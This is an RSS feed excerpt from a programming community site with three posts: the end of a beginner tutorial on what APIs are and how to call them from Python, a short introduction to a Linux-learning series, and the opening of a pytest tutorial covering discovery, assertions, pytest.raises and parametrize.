&lt;li&gt;&lt;code&gt;response.raise_for_status()&lt;/code&gt; checks whether the request succeeded. If the server answers with an error status code (like 404 for &quot;not found&quot; or 500 for &quot;server problem&quot;), it raises an exception instead of letting the program carry on as if nothing happened (Requests, n.d.).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;response.json()&lt;/code&gt; &lt;strong&gt;parses&lt;/strong&gt; the response body, which means it turns the JSON text into Python data (here, a dictionary) that we can work with. If the body isn't valid JSON, this step fails.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;post['userId']&lt;/code&gt;, &lt;code&gt;post['id']&lt;/code&gt;, &lt;code&gt;post['title']&lt;/code&gt; and &lt;code&gt;post['body']&lt;/code&gt; each read one field from that dictionary: who wrote the post, the post's own number, its title and its text. The f-strings add a label in front of each value so the output is easy to read.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;except&lt;/code&gt; blocks are our safety net. One catches invalid JSON, and the other catches request failures such as timeouts, connection problems and bad status codes. Either way, we print a readable message instead of crashing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here's what I got when I ran the code:&lt;br&gt;
&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=923120795178393657&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The API returns a sample post with a user ID, a post ID, a title and a body, and those are the four values we printed. We don't know how the service stores that data, and we don't need to. We use the interface and work with what comes back.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Run this code yourself and then break it on purpose. Change the URL to &lt;code&gt;/posts/99999&lt;/code&gt; or remove a letter from the address, and watch which error message appears. You'll learn more from the failures than from the success.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;types-of-apis-rest-soap-graphql-and-websockets&quot;&gt;Types of APIs: REST, SOAP, GraphQL and WebSockets&lt;/h3&gt;
&lt;p&gt;Do all APIs work the same way? The short answer is no. Here are four you'll hear about often.&lt;/p&gt;
&lt;h4 id=&quot;rest-apis&quot;&gt;REST APIs&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;REST&lt;/strong&gt; is an architectural style commonly used to build web APIs, often over HTTP. Resources like users, products or blog posts are accessed through addresses. Our JSONPlaceholder example was a REST API.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Use it when:&lt;/em&gt; you're building a standard web or mobile backend. It's a sensible starting point for most beginners.&lt;/p&gt;
&lt;h4 id=&quot;soap-apis&quot;&gt;SOAP APIs&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;SOAP&lt;/strong&gt; is a messaging protocol that exchanges structured messages, usually written in XML, under strict rules. It's more rigid than REST and is often found in older or enterprise systems.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Use it when:&lt;/em&gt; you're integrating with a system that already requires it, such as some banking or enterprise services.&lt;/p&gt;
&lt;h4 id=&quot;graphql-apis&quot;&gt;GraphQL APIs&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;GraphQL&lt;/strong&gt; is a query language and runtime. Clients can request the specific fields they need, within the limits of the server's schema and permissions. An app showing a profile page might ask only for a user's name and email instead of their entire record.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Use it when:&lt;/em&gt; different screens or clients need different slices of the same data.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Further reading:&lt;/strong&gt; The official &lt;a rel=&quot;nofollow&quot; href=&quot;https://graphql.org/learn/&quot;&gt;GraphQL introduction&lt;/a&gt; explains queries and schemas.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;websocket-apis&quot;&gt;WebSocket APIs&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;WebSockets&lt;/strong&gt; provide a persistent, two-way connection, instead of the usual &quot;ask once, answer once&quot; pattern of HTTP. They can support real-time APIs.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Use it when:&lt;/em&gt; you need constant live updates, such as chat, multiplayer games or live dashboards.&lt;/p&gt;
&lt;h4 id=&quot;these-aren-t-all-the-same-kind-of-thing&quot;&gt;These aren't all the same kind of thing&lt;/h4&gt;
&lt;p&gt;Here's the part that confused me at first: these four aren't competing options from the same category. REST is an architectural style, SOAP is a protocol, GraphQL is a query language and runtime, and WebSocket is a communication protocol. They also aren't mutually exclusive. A single application might use REST for normal data, GraphQL for flexible queries and WebSockets for live notifications.&lt;/p&gt;
&lt;p&gt;There's no single API style that fits every situation. The right choice depends on what you're building.&lt;/p&gt;
&lt;h3 id=&quot;why-apis-matter-and-where-they-can-hurt-&quot;&gt;Why APIs Matter (and Where They Can Hurt)&lt;/h3&gt;
&lt;p&gt;APIs let developers build on existing technology, combining services into applications that would be far more complicated to create alone.&lt;/p&gt;
&lt;p&gt;If you're into AI like I am, this matters even more. Picture an AI-powered application that uses a language model, retrieves information from a database and processes payments, all through separate APIs.&lt;/p&gt;
&lt;p&gt;An AI model and an AI API are not the same thing. The model performs the inference, while an API can provide a defined way for an application to send input to a hosted model and receive its output. This means developers can build AI-powered applications without necessarily hosting the model themselves, although they still need to manage the surrounding application logic, security and usage costs.&lt;/p&gt;
&lt;h4 id=&quot;the-trade-offs-of-depending-on-someone-else-s-api&quot;&gt;The trade-offs of depending on someone else's API&lt;/h4&gt;
&lt;p&gt;Although APIs make integration easier, they also introduce considerations such as authentication, rate limits, security and reliability. Some services require API keys, while others restrict the number of requests a client can make or charge based on usage. Requests can also fail because of network issues or server errors. Developers should protect private credentials, follow the provider's usage requirements, and design applications to handle failures gracefully.&lt;/p&gt;
&lt;p&gt;There's also dependency risk. An external API can change, go offline, impose quotas or start charging for something that used to be free. Your app is only as reliable as the services it leans on.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Further reading:&lt;/strong&gt; The &lt;a rel=&quot;nofollow&quot; href=&quot;https://owasp.org/www-project-api-security/&quot;&gt;OWASP API Security Project&lt;/a&gt; lists the most common API security risks and how to reduce them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;5-beginner-api-projects-to-practise-with&quot;&gt;5 Beginner API Projects to Practise With&lt;/h3&gt;
&lt;p&gt;Now let's practise. Each project below has a clear finish line and at least one error case to handle. The difficulty ratings are rough guides, not universal truths, so a project may feel easier or harder for you. Always check each provider's current documentation for key, account and usage requirements, since these can change.&lt;/p&gt;
&lt;h4 id=&quot;1-weather-app-beginner-&quot;&gt;1. Weather app (beginner)&lt;/h4&gt;
&lt;p&gt;Build an app that shows the temperature, humidity and current conditions for a place of your choice. Use &lt;a rel=&quot;nofollow&quot; href=&quot;https://open-meteo.com/en/docs&quot;&gt;Open-Meteo&lt;/a&gt;, which offers weather data as JSON and, at the time of writing, doesn't need an API key for its free, non-commercial use.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;You'll practise:&lt;/strong&gt; GET requests, query parameters, JSON responses and displaying data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Success looks like:&lt;/strong&gt; typing a city's coordinates and seeing its current weather on screen.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error case to handle:&lt;/strong&gt; the request times out or the service is unreachable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;2-random-cat-image-generator-beginner-&quot;&gt;2. Random cat image generator (beginner)&lt;/h4&gt;
&lt;p&gt;A tiny app that shows a new cat picture each time someone clicks a button. Simple, fun and surprisingly good for the basics. Use &lt;a rel=&quot;nofollow&quot; href=&quot;https://developers.thecatapi.com/&quot;&gt;The Cat API&lt;/a&gt;, and check its docs for current authentication and usage requirements.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;You'll practise:&lt;/strong&gt; making requests, handling responses, displaying images and responding to clicks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Success looks like:&lt;/strong&gt; a new cat appears on every click.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error case to handle:&lt;/strong&gt; the image fails to load, so show a friendly message instead of a broken picture.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;3-book-finder-beginner-&quot;&gt;3. Book finder (beginner)&lt;/h4&gt;
&lt;p&gt;Let users search by title or author and show titles, authors, publication dates and cover images with the &lt;a rel=&quot;nofollow&quot; href=&quot;https://developers.google.com/books/docs/v1/using&quot;&gt;Google Books API&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;You'll practise:&lt;/strong&gt; search queries, query parameters, looping through multiple results and displaying structured data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Success looks like:&lt;/strong&gt; searching &quot;Things Fall Apart&quot; and seeing a list of matching books.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error case to handle:&lt;/strong&gt; a search that returns no results. Show &quot;No books found&quot; rather than a blank page.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;4-movie-search-app-beginner-to-intermediate-&quot;&gt;4. Movie search app (beginner to intermediate)&lt;/h4&gt;
&lt;p&gt;Build a movie lookup that shows titles, release dates, ratings and posters using &lt;a rel=&quot;nofollow&quot; href=&quot;https://developer.themoviedb.org/docs/getting-started&quot;&gt;The Movie Database (TMDB) API&lt;/a&gt;. Check the current requirements for accounts, API keys, attribution and usage before you start.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;You'll practise:&lt;/strong&gt; authentication, search queries and displaying data in a user interface.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Success looks like:&lt;/strong&gt; searching for a film and seeing its poster, rating and release date.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error case to handle:&lt;/strong&gt; an invalid or missing API key.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;5-ai-chatbot-intermediate-&quot;&gt;5. AI chatbot (intermediate)&lt;/h4&gt;
&lt;p&gt;Build a simple chatbot that sends a user's message to an AI model and displays the reply. Follow the &lt;a rel=&quot;nofollow&quot; href=&quot;https://platform.openai.com/docs/quickstart&quot;&gt;OpenAI API quickstart&lt;/a&gt; to make your first request. Hosted model APIs need a key and may charge for usage, so keep an eye on costs.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;You'll practise:&lt;/strong&gt; POST requests, sending data in a request body, authentication and handling AI-generated responses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Success looks like:&lt;/strong&gt; typing a question and getting a model-generated answer back.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error case to handle:&lt;/strong&gt; the request fails, the rate limit is hit or the key is invalid.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; Never put private API keys in frontend code or commit them to GitHub. For a web app, make the API call from your server and load the key from an environment variable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;where-should-you-start-&quot;&gt;Where Should You Start?&lt;/h3&gt;
&lt;p&gt;If you've never worked with APIs before, start with the cat generator or the weather app. Both let you focus on the fundamentals without much application logic getting in the way.&lt;/p&gt;
&lt;p&gt;Once you're comfortable, move on to the book finder and movie search. Save the chatbot for when you're ready to deal with authentication, POST requests and keeping secrets safe.&lt;/p&gt;
&lt;p&gt;Start small, experiment, break things, and build your way up. The goal isn't only to finish the projects. It's to understand what happens each time your application talks to another service.&lt;/p&gt;
&lt;h3 id=&quot;frequently-asked-questions&quot;&gt;Frequently Asked Questions&lt;/h3&gt;
&lt;h4 id=&quot;do-i-need-to-know-how-a-server-works-to-use-an-api-&quot;&gt;Do I need to know how a server works to use an API?&lt;/h4&gt;
&lt;p&gt;No. That's the whole point of an interface. You need to understand how to ask and what you'll get back, not how the system works internally.&lt;/p&gt;
&lt;h4 id=&quot;what-s-the-difference-between-an-api-and-an-api-key-&quot;&gt;What's the difference between an API and an API key?&lt;/h4&gt;
&lt;p&gt;The API is the interface. The API key is like a membership card that some providers require so they know who is making requests and can apply limits or charges.&lt;/p&gt;
&lt;h4 id=&quot;is-a-free-api-really-free-&quot;&gt;Is a free API really free?&lt;/h4&gt;
&lt;p&gt;Often, but usually with limits. Check the provider's documentation for rate limits, usage rules and whether free access is allowed for your kind of project.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;An &lt;strong&gt;API&lt;/strong&gt; is a defined interface that lets software components interact without needing to know each other's inner workings, much like ordering from a menu without visiting the kitchen.&lt;/p&gt;
&lt;p&gt;In a typical web API, the &lt;strong&gt;client&lt;/strong&gt; sends a &lt;strong&gt;request&lt;/strong&gt;, the &lt;strong&gt;server&lt;/strong&gt; processes it, and a &lt;strong&gt;response&lt;/strong&gt; comes back, which might be data or an error.&lt;/p&gt;
&lt;p&gt;We saw this in Python with &lt;code&gt;requests&lt;/code&gt;, adding a &lt;strong&gt;timeout&lt;/strong&gt;, &lt;code&gt;raise_for_status()&lt;/code&gt; and &lt;strong&gt;exception handling&lt;/strong&gt; so the code copes with failure.&lt;/p&gt;
&lt;p&gt;REST, SOAP, GraphQL and WebSockets are different tools that can even live in the same app.&lt;/p&gt;
&lt;p&gt;APIs make integration possible, but they bring &lt;strong&gt;authentication&lt;/strong&gt;, &lt;strong&gt;rate limits&lt;/strong&gt;, &lt;strong&gt;costs&lt;/strong&gt; and &lt;strong&gt;dependency risks&lt;/strong&gt;. Start with a small project, break it on purpose, and learn from what happens.&lt;/p&gt;
&lt;p&gt;Now that you know what's going on behind the scenes, the next time you use an app, you might catch yourself wondering which APIs are making it work.&lt;/p&gt;
&lt;p&gt;Happy coding!&lt;/p&gt;
&lt;p&gt;See you next time!&lt;/p&gt;
&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;p&gt;Amazon Web Services. (n.d.). &lt;em&gt;What is an API?&lt;/em&gt; Amazon.com. Retrieved October 14, 2026, from &lt;a rel=&quot;nofollow&quot; href=&quot;https://aws.amazon.com/what-is/api/&quot;&gt;https://aws.amazon.com/what-is/api/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;MDN Web Docs. (n.d.). &lt;em&gt;HTTP&lt;/em&gt;. Mozilla. Retrieved October 14, 2026, from &lt;a rel=&quot;nofollow&quot; href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Requests. (n.d.). &lt;em&gt;Quickstart&lt;/em&gt;. Requests documentation. Retrieved October 14, 2026, from &lt;a rel=&quot;nofollow&quot; href=&quot;https://requests.readthedocs.io/en/latest/user/quickstart/&quot;&gt;https://requests.readthedocs.io/en/latest/user/quickstart/&lt;/a&gt;&lt;/p&gt;
</description>
<category>Tutorials</category>
<guid isPermaLink="true">https://coderlegion.com/31206/what-are-apis-and-how-do-they-work</guid>
<pubDate>Thu, 15 Oct 2026 13:41:10 +0000</pubDate>
</item>
<item>
<title>Welcome: Why I Started Learning Linux</title>
<link>https://coderlegion.com/31025/welcome-why-i-started-learning-linux</link>
<description>&lt;p&gt;When I joined MountBlue, one of the first things we were asked to do was dual boot Ubuntu.&lt;/p&gt;
&lt;p&gt;Before that, I had always used Windows. I had built several projects on it and, during college, I had only learned a few basic Linux commands like pwd, ls, and cd. To me, Linux was just another operating system that developers talked about.&lt;/p&gt;
&lt;p&gt;I also had many misconceptions.&lt;/p&gt;
&lt;p&gt;I thought Ubuntu, macOS, Windows, and Android were simply different operating systems with no deeper relationship. I had heard that most software companies preferred developers to use Ubuntu or macOS, but I never really understood why.&lt;/p&gt;
&lt;p&gt;Installing Ubuntu made me curious.&lt;/p&gt;
&lt;p&gt;I started asking questions like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Is Linux an operating system or just a kernel?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Why do people keep mentioning Unix and GNU?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Why do developers prefer Linux over Windows?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If Windows already has a terminal, why is Linux so popular among developers?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I explored further, I realized something interesting.&lt;/p&gt;
&lt;p&gt;For most everyday users, the operating system is mainly a way to run applications through a graphical interface. Whether it's browsing the web, watching videos, or editing documents, everything is designed to be accessed through windows, icons, and menus.&lt;/p&gt;
&lt;p&gt;Software developers, however, often work in environments that are very different from a typical personal computer. They interact with remote servers, cloud machines, containers, and virtual machines—systems that often don't have a graphical desktop at all. In these environments, the command-line interface (CLI) becomes the primary way to work.&lt;/p&gt;
&lt;p&gt;That made me realize learning Linux isn't just about memorizing commands. It's about understanding how operating systems work and why developers rely on them every day.&lt;/p&gt;
&lt;p&gt;This series is my attempt to document that journey.&lt;/p&gt;
&lt;p&gt;I'm not writing these articles because I know Linux. I'm writing them because I'm learning Linux—and writing is helping me understand it better. If you're beginning your journey too, let's learn together.&lt;/p&gt;
&lt;p&gt;Welcome to Linux from Scratch.&lt;/p&gt;
&lt;p&gt;In the next article, we'll start from the very beginning.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What exactly is Unix, and why did Linux even exist if Unix was already there?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;See you in Part 1.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/31025/welcome-why-i-started-learning-linux</guid>
<pubDate>Wed, 14 Oct 2026 08:10:53 +0000</pubDate>
</item>
<item>
<title>Pytest in Practice</title>
<link>https://coderlegion.com/30938/pytest-in-practice</link>
<description>&lt;p&gt;I've been learning Python by building a video clipping CLI application, and along the way I've ended up learning a lot more than I expected.&lt;/p&gt;
&lt;p&gt;Some of it was straightforward. Some of it made me stop and think, especially when I first started writing tests.&lt;/p&gt;
&lt;p&gt;Things like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How does pytest even know which functions are tests?&lt;/li&gt;
&lt;li&gt;Why does everyone keep putting things in &lt;code&gt;conftest.py&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;When should I use a fixture?&lt;/li&gt;
&lt;li&gt;What's the difference between &lt;code&gt;patch&lt;/code&gt; and &lt;code&gt;monkeypatch&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Why did my mock not work when I was &lt;em&gt;sure&lt;/em&gt; I patched the right thing?&lt;/li&gt;
&lt;li&gt;When should I mock something, and when should I just run the real thing?&lt;/li&gt;
&lt;li&gt;What's the point of parametrization when I could just use a loop?&lt;/li&gt;
&lt;li&gt;How do I debug one failing test without running the entire suite every time?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are the kinds of things that can feel like arbitrary rules when you're first encountering them.&lt;/p&gt;
&lt;p&gt;Once I understood the reasoning behind them, though, pytest started making a lot more sense.&lt;/p&gt;
&lt;p&gt;So this isn't meant to be a complete pytest reference or an explanation of every feature pytest has. It's more like a collection of the things that finally &quot;clicked&quot; for me while testing a real Python project.&lt;/p&gt;
&lt;p&gt;The examples are based on my video clipping CLI, so you'll see things like FFmpeg, video metadata, audio extraction, transcription, temporary files, external dependencies, and slow tests.&lt;/p&gt;
&lt;p&gt;Hopefully, if you're also learning Python by building something rather than just following tutorials, some of these lessons save you a few of the &quot;why does it work like &lt;em&gt;that&lt;/em&gt;?&quot; moments I had.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;installing-pytest&quot;&gt;Installing pytest&lt;/h3&gt;
&lt;p&gt;If you're using &lt;code&gt;uv&lt;/code&gt;, installing pytest and coverage support is straightforward:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv add --dev pytest pytest-cov
uv run pytest --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You now have everything needed to start writing and running tests.&lt;/p&gt;
&lt;h3 id=&quot;your-first-test&quot;&gt;Your First Test&lt;/h3&gt;
&lt;p&gt;A pytest test can be nothing more than a function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# tests/core/test_video_inspector.py

from clipper.core.video_inspector import get_video_metadata


def test_get_video_metadata_returns_none_on_missing_file():
    result = get_video_metadata(&quot;does_not_exist.mp4&quot;)
    assert result is None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run it with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That's it.&lt;/p&gt;
&lt;p&gt;There is no base class, no registration, and no decorator required.&lt;/p&gt;
&lt;p&gt;pytest finds the test because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the file starts with &lt;code&gt;test_&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;the function starts with &lt;code&gt;test_&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That naming convention is the mechanism.&lt;/p&gt;
&lt;h3 id=&quot;how-does-pytest-find-your-tests-&quot;&gt;How Does pytest Find Your Tests?&lt;/h3&gt;
&lt;p&gt;pytest automatically walks the current directory and its subdirectories looking for test files.&lt;/p&gt;
&lt;p&gt;By default, it looks for files matching patterns such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;test_*.py
*_test.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside those files, it looks for functions matching:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;test_*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and, inside classes whose names start with &lt;code&gt;Test*&lt;/code&gt;, methods that also match &lt;code&gt;test_*&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;tests/
└── core/
    └── test_video_inspector.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is enough for pytest to discover the file automatically. You don't need to register the test anywhere.&lt;/p&gt;
&lt;p&gt;This is also why commands such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;uv run pytest --cov=src
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;work without explicitly listing every test file. pytest's discovery mechanism does the work.&lt;/p&gt;
&lt;h3 id=&quot;assertions-just-use-assert&quot;&gt;Assertions: Just Use &lt;code&gt;assert&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;One of the nicest things about pytest is that you use Python's built-in &lt;code&gt;assert&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_fps_math():
    assert round(29.970029970029969, 2) == 29.97
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You don't need a collection of methods like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;assertEqual(...)
assertTrue(...)
assertFalse(...)
assertIn(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead, pytest rewrites &lt;code&gt;assert&lt;/code&gt; statements when running tests so that failures contain useful information about what each side evaluated to. That makes a failed assertion much more informative than simply:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Assertion failed
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;comparing-floats-with-pytest-approx&quot;&gt;Comparing Floats with &lt;code&gt;pytest.approx&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Don't compare floating-point calculations using exact equality.&lt;/p&gt;
&lt;p&gt;Instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pytest


def test_duration_seconds():
    assert 125.5 == pytest.approx(float(&quot;125.500001&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Floating-point calculations rarely land exactly where you expect. This matters especially when dealing with things like frame rates, durations, timestamps, or calculations involving &lt;code&gt;Fraction&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Without &lt;code&gt;pytest.approx&lt;/code&gt;, you might end up writing this everywhere:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;assert abs(actual - expected) &amp;lt; 0.001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pytest.approx&lt;/code&gt; gives you the tolerance without repeating that boilerplate.&lt;/p&gt;
&lt;h4 id=&quot;pytest-approx-works-with-nested-structures&quot;&gt;&lt;code&gt;pytest.approx&lt;/code&gt; Works with Nested Structures&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;pytest.approx&lt;/code&gt; isn't limited to individual numbers. You can use it when comparing nested structures:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_transcribe_matches_golden_output(
    sample_speech_path,
    sample_transcript,
):
    result = transcribe(str(sample_speech_path))

    assert result == pytest.approx(sample_transcript)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is particularly useful for regression or &quot;golden file&quot; tests. Imagine a transcript like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{
    &quot;segments&quot;: [
        {
            &quot;start&quot;: 0.123456,
            &quot;end&quot;: 1.987654,
            &quot;words&quot;: [
                {&quot;word&quot;: &quot;hello&quot;, &quot;start&quot;: 0.123},
                {&quot;word&quot;: &quot;world&quot;, &quot;start&quot;: 0.456},
            ],
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You don't want to write a loop comparing every timestamp manually. &lt;code&gt;pytest.approx&lt;/code&gt; can recursively compare numeric values with tolerance while still using normal equality for strings and other values — so it's practical to compare an entire expected transcript while allowing for harmless floating-point differences.&lt;/p&gt;
&lt;h3 id=&quot;testing-that-an-error-is-actually-raised&quot;&gt;Testing That an Error Is Actually Raised&lt;/h3&gt;
&lt;p&gt;When the expected behavior is for a function to raise an exception, use &lt;code&gt;pytest.raises&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pytest


def test_extract_audio_raises_on_bad_codec():
    with pytest.raises(ffmpeg.Error):
        extract_audio(
            &quot;in.mp4&quot;,
            &quot;out.wav&quot;,
            codec=&quot;not_a_real_codec&quot;,
        )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This test verifies two things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The code raises an exception.&lt;/li&gt;
&lt;li&gt;The exception is the expected type.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The test fails if the function doesn't raise anything. It also fails if it raises a different exception type. Both outcomes are useful information.&lt;/p&gt;
&lt;h4 id=&quot;pytest-raises-only-works-when-the-exception-escapes&quot;&gt;&lt;code&gt;pytest.raises&lt;/code&gt; Only Works When the Exception Escapes&lt;/h4&gt;
&lt;p&gt;There's an important distinction here. Suppose your function catches its own exception:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def extract_audio(...):
    try:
        ...
    except ffmpeg.Error:
        logger.error(...)
        return None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exception never reaches the caller. Therefore, this won't work:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with pytest.raises(ffmpeg.Error):
    extract_audio(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There's nothing left for &lt;code&gt;pytest.raises&lt;/code&gt; to catch. Instead, test the function's actual contract:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;result = extract_audio(...)

assert result is None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And, if logging is part of the behavior you care about, use &lt;code&gt;caplog&lt;/code&gt; to verify that the expected error was logged.&lt;/p&gt;
&lt;p&gt;A useful rule of thumb:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;If the function returns &lt;code&gt;None&lt;/code&gt; from its &lt;code&gt;except&lt;/code&gt; block, test the return value rather than expecting an exception.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;parametrize-one-test-many-inputs&quot;&gt;Parametrize: One Test, Many Inputs&lt;/h3&gt;
&lt;p&gt;Suppose you need to test several timestamp formats. You could write three tests:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_timestamp_one():
    ...


def test_timestamp_two():
    ...


def test_timestamp_three():
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But the test logic is identical. That's exactly what &lt;code&gt;pytest.mark.parametrize&lt;/code&gt; is for:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@pytest.mark.parametrize(
    &quot;timestamp,expected_seconds&quot;,
    [
        (&quot;00:00:01&quot;, 1.0),
        (&quot;00:01:00&quot;, 60.0),
        (&quot;01:00:00&quot;, 3600.0),
    ],
)
def test_validate_timestamp_parses_valid_formats(
    timestamp,
    expected_seconds,
):
    assert validate_timestamp(timestamp) == pytest.approx(expected_seconds)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Think of it like a form letter: the first argument names the blanks to fill in (&lt;code&gt;timestamp&lt;/code&gt;, &lt;code&gt;expected_seconds&lt;/code&gt;), and the second argument is a stack of filled-in versions. pytest prints one out and runs the test for each one:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;test_validate_timestamp_parses_valid_formats[00:00:01-1.0]
test_validate_timestamp_parses_valid_formats[00:01:00-60.0]
test_validate_timestamp_parses_valid_formats[01:00:00-3600.0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each case can pass or fail independently.&lt;/p&gt;
